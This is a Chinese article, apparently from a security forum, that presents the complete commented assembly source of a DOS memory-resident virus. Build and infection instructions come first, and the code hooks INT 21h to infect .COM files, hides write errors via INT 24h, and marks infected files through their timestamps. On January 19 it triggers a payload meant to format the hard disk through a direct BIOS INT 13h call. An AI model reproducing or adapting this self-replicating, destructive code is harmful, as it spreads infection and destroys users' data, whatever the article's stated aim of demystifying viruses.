信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
目的是使广大读者去除对计算机病毒的害怕心理,最可笑的是,有些人认为,人体也会被计算机病毒感染,这使我哭笑不得.言归正传, 计算机病毒最具代表性的两大特点:一.是传染性.二.是破坏性.其他的是潜伏性,隐藏性等等.他象感冒症状一样,区别的是他只感染电脑及特殊机器.三. 驻留内存病毒解除.
=============BEGIN OF VIRMEM.ASM============
(1)请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:
C:\>MASM VIRMEM.ASM 生成.OBJ文件及.LST文件
C:\>LINK VIRMEM.OBJ 生成.EXE文件
C:\>EXE2BIN VIRMEM.EXE VIRMEM.COM
即生成VIRDOS2.COM文件,然后即可运行,先看一个调试程序LJ.COM的字节数(如10个字节长度) 运行格式如下:
C:> VIRMEM LJ.COM
在DOS下运行上述命令后即可看到LJ.COM文件字节变长,这就是LJ.COM被病毒VIRMEM.COM第一次感染后的结果.我们可以用COPY命令复制一个同LJ.COM(如10个字节长度)原程序一样的程序(未被病毒感染的程序),叫L.COM吧!
被病毒感染的LJ.COM在DOS下运行的格式:
C:>LJ.COM
运行过后使病毒驻留内存,我们再在DOS下运行L.COM文件长度是否变长了,是的话即L.COM也被病毒感染了L.COM文件运行格式如下:
C:>L.COM
VIRMEM.ASM原程序如下:
RETMS MACRO ;结束返回DOS宏
MOV AX,4C00H
INT 21H
ENDM
FILELEN MACRO ;移动文件指针至文件尾(即是计算要被感染目的文件长度) 宏
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
FILEHEAD MACRO ;移动文件指针至文件头宏
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
PMAIN MACRO ;开始宏
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
START:
ENDM
PEND MACRO ;结束宏
CODE ENDS
.44.
END START
ENDM
VIR_SIZE EQU OFFSET ENDIT-100H ;病毒字节(VIR_SIZE)等于ENDIT偏移-100H
ADDNUM EQU VIR_SIZE+200H
WPT EQU WORD PTR ;用WPT代替WORD PTR
BPT EQU BYTE PTR ; 用BPT 代替WORD PTR
FILEBUFOFS EQU OFFSET ENDIT+100H ;文件缓冲等于偏移 ENDIT+100H
STACKOFS EQU OFFSET ENDIT ;堆栈等于偏移 ENDIT
GETDTA MACRO ;获取磁盘缓冲首址及ES送入DS,BX送入SI宏
MOV AH,2FH
INT 21H
PUSH ES
POP DS
PUSH BX
POP SI
ENDM
PUS MACRO ;寄存器入栈宏
PUSH AX
PUSH BX
PUSH DX
PUSH CX
PUSH SI
PUSH DI
PUSH ES
PUSH DS
ENDM
PPALL MACRO ;寄存器出栈宏
POP DS
POP ES
POP DI
POP SI
POP CX
POP DX
POP BX
POP AX
ENDM
DTA STRUC ;DTA(Data transfer Area)结构宏(请参考其它书)
RESERVED DB 21 DUP(?)
ATTR DB ?
.45.
TIME DW ?
DATE DW ?
FILESIE DD ? ;文件字节伪定义
FILENAME DB 13 DUP(?)
FREENAME DB ?,?,? ;文件目录伪定义
DTA ENDS
PMAIN ;主宏(用于感染文件文件及发作用)
JMP BEGIN ;无条件转BEGIN
THEBEGIN DW OFFSET ENDIT ; 动态时THEBEGIN地址写入ENDIT偏移动态`地址
BEGIN: ;PUS
MOV AX,0FFEEH ;这是作者的病毒驻留内存标志判断
INT 21H
CMP AX,0EEFFH ;返回时为此0EEFFH表示已驻留
JE INSTALLED
MOV CS:SHOWFLAG,-1 ; 判断动态时 SHOWFLAG 地址是否为-1
MOV AH,2AH ;取当前日期是否1月19日
INT 21H
CMP DL,19
JNE NEXT
CMP DH,1
JNE NOTFORMATHDISK ;不相等转NOTFORMATHDISK
MOV CS:SHOWFLAG,0 ; 相等置SHOWFLAG地址单元为0
NOTFORMATHDISK:
CALL SHOW ;调用格式化硬盘模块(现在的20G以上不能格式化)
NEXT:
XOR AX,AX ;AX=ES=0(0为0000:)
MOV ES,AX
MOV AX,ES:[21H*4+2] ;把原中断21向量地址送入CS:OLD21
;中断21向量地址(0000:0084~0000:0086)
MOV BX,ES:[21H*4]
MOV WPT CS:OLD21+2,AX
MOV WPT CS:OLD21,BX
CMP BYTE PTR FILERUNNO,01H ;比较FILERUNNO单元是否为01H(01表示文件未被感染)
JE L ;相等转L
JMP MEM ;不相等表示文件已感染且文件正运行转MEM执行
L:MOV BYTE PTR FILERUNNO,02H ; 传送02H至FILERUNNO单元
JMP MEM1
MEM:MOV BYTE PTR FILERUNNO,03H ; 传送03H至FILERUNNO单元
MEM1:
CALL GETADDRESS ;调用病毒驻留模块
.46.
MOV AX,CS:ADDR ;申请到的内存地址送AX
MOV BX,OFFSET INT21H ;新的INT21H偏移地址送BX
CLI ;关中断
XOR CX,CX ;CX=ES=0
MOV ES,CX
MOV ES:[21H*4],BX ;置中断21向量指向内存病毒程序
MOV ES:[21H*4+2],AX
STI ;开中断
CMP BYTE PTR FILERUNNO,02H ; 比较文件是否第二次运行,是表示该文件没病毒,
JNE INSTALLED ;不是转INSTALLED
JMP RUN01 ; 文件有毒转RUN01
RUN01:MOV BYTE PTR FILERUNNO,02 ;送02至FILERUNNO单元中
; PPALL
JMP ENDIT ;无条件转ENDIT
INSTALLED: ;CS=AX=DS=ES
MOV AX,CS
MOV DS,AX
MOV ES,AX
XOR SI,SI ;SI=0
MOV CX,CS:FILE_SIZE ;文件字节送CX
PUSH AX ;AX入栈
XOR AX,AX ;AX=0
LEA AX,ENDIT-100H ;AX=病毒字节
CMP CX,AX ;文件字节小于病毒字节转LB1
JBE LB1
JMP BT1
LB1:POP AX ;恢复AX
XOR CX,CX ;CX=0
LEA CX, ENDIT ;文件字节送CX
JMP BY1 ;转BY1
BT1: POP AX ;恢复AX
XOR CX,CX ;CX=0
MOV CX,FILE_SIZE ; 病毒字节送CX
ADD CX,0100H ;
BY1: PUSH CX ;要读取的文件一部分字节入栈
MOV SI,CX ;SI=CX
XOR CX,CX ;CX=0
MOV DI,100H ;DI=0100H
MOV CX,CS:FILE_SIZE1 ;CX=一部分文件长度(文件长度大于病毒字节)
;REP MOVSB
.47.
PUSH CS ;CS=DS
POP DS
PUSH DS ;DS,BX入栈
PUSH BX
MOV BX,CS:ADDR ;将内存病毒段址送BX
PUSH BX ;BX入栈
MOV AX,OFFSET NH ; 将(NH:)偏移地址送AX
PUSH AX ;AX入栈
RETF ;弹出BX,AX使它转向内存病毒处执行下一条CLD及REP MOVSB指令
;因为文件字节当大于(NH:)偏移地址时不进入内存(NH:)处会被恢复文
;件头指令冲掉(因为文件字节大于病毒时文件头部字节会被写到文件
;尾,文件头部写入全部病毒字节)
NH:CLD ;去向方
REP MOVSB ;重复传送文件字节
POP BX ;BX,DS,CX出栈,其中DS=文件代码段(即CS)
POP DS
POP CX
;PPALL
PUSH DS ;DS=文件代码段(即CS)入栈
MOV AX,0100H ;AX=0100H
PUSH AX ;AX入栈
RETF ;返回原文件0100处执行原文件程序
DTASAVE DTA <> ;DTA数据格式
ADDR DW ?
FLAG DB 0
SAVESS DW ?
SAVESP DW ?
DTASIZE EQU 43
HANDLE DW ?
NEXTFLAG DB ?
GETADDRESS PROC NEAR
MOV AX,CS
DEC AX
MOV ES,AX ;得到MCB(Memory Control Block)的段值
MOV AX,ES:[3] ;得到MCB块大小
MOV BX,OFFSET ENDIT
ADD BX,ADDNUM
ADD BX,15
MOV CL,4
SHR BX,CL
SUB AX,BX ;把MCB的块大小减少(病毒长度*2+200H)
.48.
MOV ES:[3],AX ;留出来的空间给病毒驻留用
MOV BX,CS
ADD AX,BX
MOV CS:ADDR,AX ; 得到病毒驻留空间的段址值
MOV ES,AX ; 段值送ES
XOR SI,SI ;SI=DI=0
XOR DI,DI
PUSH CS ;CS=DS
POP DS
LEA CX,ENDIT ; 病毒长度送CX
CLD ;去方向
REP MOVSB ;把病毒送入内存
RET ;返回调用处
GETADDRESS ENDP
COMFILEFECT DB 0
FILE_SIZE1 DW ? ;用于文件一部分长度存入的单元(文件长度大于病毒字节,小于为
;全部文件长度送入的单元)
YESCOMFILE DB 0 ;是COM判断标志单元.(0表示不是.COM文件,1表示是.COM文件)
OLD21 DD ? ; 原始中断21H伪定义
FILERUNNO DB 01H ;文件运行次数伪定义(目的是判断文件是否感染)
INT24H PROC FAR ;中断24处理子程序
MOV AL,0
MOV CS:FLAG24H,-1 ;送-1至新的中断标志单元
IRET ;写盘出错时使它没错误信息显示直至返回
FLAG24H DB 0 ;中断24伪定义为0
INT24H ENDP
CH24H PROC NEAR ;替换中断24向量地址处理子程序
XOR AX,AX
MOV ES,AX
MOV AX,ES:[24H*4]
MOV BX,ES:[24H*4+2]
MOV WPT CS:OLD24,AX
MOV WPT CS:OLD24+2,BX
MOV BX,CS
MOV AX,OFFSET INT24H
MOV ES:[24H*4],AX
MOV ES:[24H*4+2],BX
RET
CH24H ENDP
RES24 PROC NEAR ; 还原中断24向量地址处理子程序
XOR AX,AX
.49.
MOV ES,AX
MOV AX,WPT CS:OLD24
MOV BX,WPT CS:OLD24+2
MOV ES:[24H*4],AX
MOV ES:[24H*4+2],BX
RET
RES24 ENDP
MEMORY_SEG DW ? ;内存段值伪定义(用于一部分文件长度驻留用)
FILE_TIME DW ? ;文件时间伪定义
FILE_DATE DW ? ;文件日期伪定义
FILE_ATTRIB DW ? ;文件属性伪定义
ATTRIB_SET_FLAG DB 0 ;文件属性设置标志伪定义
F4B00_FILE_NAME DW ?,? ;文件属性段址用的伪定义
FILE_NAME DB 32 DUP(?) ;文件名伪定义
OLD24 DD ? ;原始中断24伪定义
FILE_SIZE DW ? ;文件长度伪定义
INT21H PROC FAR
STI ;开中断
CMP AX,0FFEEH ;作者驻留内存标志判断
JNE NEXT21H
MOV AX,0EEFFH ;返回时为AX=0EEFF表示病毒已驻留
IRET ;中断返回
NEXT21H:
CMP AX,4B00H ;比较是否在DOS下运行文件
JE INFECT ;相等转INFECT
JMP OUTINT21H ;无条件转OUTINT21H
INFECT:
PUS ;入栈宏
PUSH DS
PUSH ES
PUSHF
CALL CH24H ; 替换中断24向量地址处理子程序
MOV CS:MEMORY_SEG,AX ;把AX送入MEMORY_SEG存储单元
MOV CS:HANDLE,AX ;文件句柄送HANDLE(文件句柄用于文件读写等用途,出错时
;将不能正常读写)
MOV CS:ATTRIB_SET_FLAG,AL ;AL送入属性设置标志单元
MOV CS:F4B00_FILE_NAME[2],DS ;属性送入F4B00_FILE_NAME及F4B00_FILE_NAME[2]
MOV CS:F4B00_FILE_NAME,DX ;
XOR AX,AX ;AX=0
MOV SI,DX ;SI=DX
LEA DI,FILE_NAME ;DI=文件名偏移址址
.50.
FIND_ZERO:
MOV AL,DS:[SI] ;将装入比较是否是.COM文件名
MOV CS:[DI],AL
INC SI
INC DI
CMP AL,'.' ;比较是否为"."
JNE FIND_ZERO ;不相等转FIND_ZERO
MOV AL,DS:[SI]
AND AL,11011111B ;字母小写变大写
CMP AL,'C' ;比较是否为"C"字母
JNE HASBEEN ;不相等转HASBEEN
MOV BYTE PTR YESCOMFILE,01 ;相等表示是.COM文件,同时将YESCOMFILE单元置01
JMP SEEKOK
SEEKOK: CALL CMPIFBEEN ;调用文件是否被感染处理子程序
CMP BYTE PTR COMFILEFECT,01H ;比较COMFILEFECT单元是不为O1H
JE HASBEEN ;相等转HASBEEN
CMP CS:FLAG24H,-1 ;判断是否有写盘出错(如写带写保护的A盘)
JE HASBEEN ;相等转HASBEEN
CALL DOFILE ;不相等调用病毒感染模块
HASBEEN:
CALL RES24 ;还原中断24向量地址处理子程序
POPF ;出栈
POP ES ;出栈
POP DS ;出栈
PPALL ;出栈宏
OUTINT21H: JMP CS:OLD21 ;无条件进入原始中断21H
INT21H ENDP
CMPIFBEEN PROC NEAR ;看是否已经被感染模块
PUSH CS ;CS=DS
POP DS
MOV DX,CS:F4B00_FILE_NAME ;文件名段址(DS)和文件名偏移(DX)
MOV DS,CS:F4B00_FILE_NAME[2]
MOV AX,3D00H ;打开文件
INT 21H
JNC OKCOM ;没错转OKCOM
JMP ERR ;出错转ERR
OKCOM:
MOV BX,AX ;文件句柄送BX,CS:HANDLE
MOV CS:HANDLE,AX
MOV AX,5700H ;取文件时间,日期
INT 21H
JC ERR1 ;转ERR1
.51.
CMP DH,0C9H ;比较是否高于或等于201年
JAE CLOSE_FILE1 ;转CLOSE_FILE1
JMP ERR1 ;转ERR1
CLOSE_FILE1:MOV BYTE PTR COMFILEFECT,01 ;文件已感染,置COMFILEFECT单元为此01,不
;再感染该文件
MOV BX,CS:HANDLE ;文件句柄送BX
FILELEN ;移动文件指针至文件尾(即是计算要被感染目的文件长度)
MOV WORD PTR CS:FILE_SIZE,AX ;送AX至FILE_SIZE
CMP AX,0F618H ;比较是否高于或等于63K
JAE CLOSE_FILE2 ;是转CLOSE_FILE2
JMP ERR1 ;不是转ERR1
CLOSE_FILE2:MOV BYTE PTR COMFILEFECT,01H ;文件高于63K,置COMFILEFECT单元为此01,
;不感染该文件
ERR1:MOV AH,3EH ;关闭文件
MOV BX,CS:HANDLE
INT 21H
ERR: RET
CMPIFBEEN ENDP
DOFILE PROC NEAR
PUSH CS ;CS=DS
POP DS
MOV AX,4300H ;取文件属性
MOV DX,CS:F4B00_FILE_NAME
MOV DS,CS:F4B00_FILE_NAME[2]
INT 21H
MOV CS:FILE_ATTRIB,CX ;取文件属性送入FILE_ATTRIB
MOV AX,4301H ;置文件属性为普通属性
MOV DX,CS:F4B00_FILE_NAME
MOV DS,CS:F4B00_FILE_NAME[2]
MOV CX,20H
INT 21H
JC OUT1 ;出错转OUT1
JMP FILE_ATTRIBMARK ;没错转FILE_ATTRIBMARK
FILE_ATTRIBMARK:MOV BYTE PTR CS:ATTRIB_SET_FLAG,01H ;送01至ATTRIB_SET_FLAG
;地址单元中
JMP REPLACEOK ;无条件转REPLACEOK
OUT1:RET ;返回调用处
REPLACEOK:
CMP CS:FLAG24H,-1 ;比较FLAG24H地址单元是否为-1
;是否有写盘出错
.52.
JE OUT1 ;出错转OUT1
MOV DX,CS:F4B00_FILE_NAME
MOV DS,CS:F4B00_FILE_NAME[2]
MOV AX,3D02H ;打开目标文件准备传染
INT 21H
JC OUT1
MOV CS:HANDLE,AX ;句柄送CS:HANDLE,BX
MOV BX,AX
FILELEN ;移动文件指针至文件尾
FILE_MEMORY1:MOV BX,AX ;文件长度送BX
MOV WORD PTR CS:FILE_SIZE,AX ;文件长度送CS:FILE_SIZE
ADD BX,0100H ;BX+0100H送BX
MOV CL,4
SHR BX,CL
INC BX
MOV AH,48H ;分配内存目的读入目的文件
INT 21H
JNC CONDOWRITE ;出错转CONDOWRITE
JMP CLOSE_ATTRIB ;没错转CLOSE_ATTRIB
CLOSE_ATTRIB:
MOV DX,CS:F4B00_FILE_NAME
MOV DS,CS:F4B00_FILE_NAME[2]
MOV CX,CS:FILE_ATTRIB
MOV AX,4301H ;关闭恢复原文件属性
INT 21H
JMP CLOSE_FILE
CONDOWRITE:
MOV CS:MEMORY_SEG,AX ;内存段址送CS:MEMORY_SEG
MOV AX,4200H ;移动文件指针至文件头
MOV BX,CS:HANDLE
XOR CX,CX
XOR DX,DX
INT 21H
JNC MEMOK6 ;没错转MEMOK6
JMP CLOSE_ATTRIB
MEMOK6:MOV DS,CS:MEMORY_SEG ;分配的内存段址送DS
XOR DX,DX ;DX=0
MOV BX,CS:HANDLE
MOV CX,CS:FILE_SIZE ;文件字节送CX
;CMP AX,CX ;
PUSH AX ;AX入栈
XOR AX,AX ;AX=0
.53.
LEA AX,ENDIT-100H ;AX=病毒字节
CMP CX,AX ;文件字节小于病毒字节转LB
JBE LB
JMP BT ;文件字节大于病毒字节转BT
LB:POP AX ;恢复AX
XOR CX,CX ;CX=0
MOV CX, CS:FILE_SIZE ;文件字节送CX
JMP BY ;转BY
BT: POP AX ;恢复AX
XOR CX,CX ;CX=0
LEA CX,ENDIT-100H ; 病毒字节送CX
BY: PUSH CX ;要读取的文件一部分字节入栈
MOV WORD PTR CS:FILE_SIZE1,CX ;送入CS:FILE_SIZE1
MOV AH,3FH ;读文件字节入分配的内存
INT 21H
JNC MEMOK7 ;没错转MEMOK7
JMP CLOSE_ATTRIB ;出错转CLOSE_ATTRIB
MEMOK7:
PUSH CS ;CS=DS
POP DS
MOV BX,CS:HANDLE
FILEHEAD ;移动文件指针至文件头
MOV DS,CS:ADDR ;病毒驻留内存段址送DS
MOV DX,0100H ;DX=0100H
MOV BX,CS:HANDLE ;
LEA CX,ENDIT-0100H ;ENDIT-0100H等于病毒长度送CX
MOV AH,40H ;写病毒入文件0100H处
INT 21H
JNC MEMOK8 ;没错转MEMOK8
JMP CLOSE_ATTRIB ;出错转CLOSE_ATTRIB
MEMOK8:
JNC MEMOK9
JMP CLOSE_ATTRIB
MEMOK9: FILELEN ;移动文件指针至文件尾(即是计算要被感染目的文件长度)
MOV DS,CS:MEMORY_SEG ;内存段址送DS
XOR DX,DX ;DX=0
MOV BX,CS:HANDLE ;文件句柄送BX
XOR CX,CX ;?
POP CX ;出栈CX=写文件头一部分字节入文件尾
MOV AH,40H ; 写文件
INT 21H
.54.
MOV BX,CS:HANDLE
MOV AX,5701H ;置文件日期+0C9H(即加201年)
MOV CX,CS:FILE_TIME
MOV DX,CS:FILE_DATE
ADD DH,0C9H
INT 21H
JNC MEMOK10
JMP CLOSE_ATTRIB
MEMOK10:MOV BX,CS:HANDLE
MOV AH,3EH ;关闭文件
INT 21H
MOV ES,CS:MEMORY_SEG
MOV AH,49H ;释放分配的内存
INT 21H
CMP BYTE PTR CS:ATTRIB_SET_FLAG,01H ;是否设置过属性
JE A ;是转A
JMP OUT1
A: MOV DS,CS:F4B00_FILE_NAME[2]
MOV DX,CS:F4B00_FILE_NAME
MOV AX,4301H ;恢复文件属性
MOV CX,CS:FILE_ATTRIB
INT 21H
JMP OUT1
CLOSE_file:MOV AH,3EH ;关闭文件
MOV BX,CS:HANDLE
INT 21H
RET
DOFILE ENDP
SHOW PROC NEAR
PUSH CS
POP DS
MOV DX,OFFSET SHOWMSG ;显示提示信息
MOV AH,9
INT 21H
CALL FORM ;调用格式化模块
RET
SHOW ENDP
SHOWMSG DB 07H,'My dear ljl:',0ah,0dh
db 'Happy birthday and happy a new year!',0ah,0dh,0ah,0dh
db 'Yours LEM.',0ah,0dh
db 0ah,0dh,'$'
showflag db -1
.55.
FORM. PROC NEAR
JMP STAR_1
FORMAT_MSG DB 0,0,0,2
DB 0,1,1,2
DB 0,0,2,2
DB 0,1,3,2
DB 0,0,4,2
DB 0,1,5,2
DB 0,0,6,2
DB 0,1,7,2
DB 0,0,8,2
STAR_1:
MOV AX,CX
MOV ES,AX
MOV DS,AX
MOV BX,OFFSET FORMAT_MSG
MOV AH,5
MOV AL,0FFH
MOV DL,80H
MOV DH,0
MOV CX,0
PUSHF
DB 9AH ;CALL AbsInt13Adr
DD 0F000CC78H ;Int 13 的绝对地址
RET
DB 0EAH ;去掉RET则自动重启动
DD 0F000FFF0H
FORM. ENDP
ENDIT:
RETMS
PEND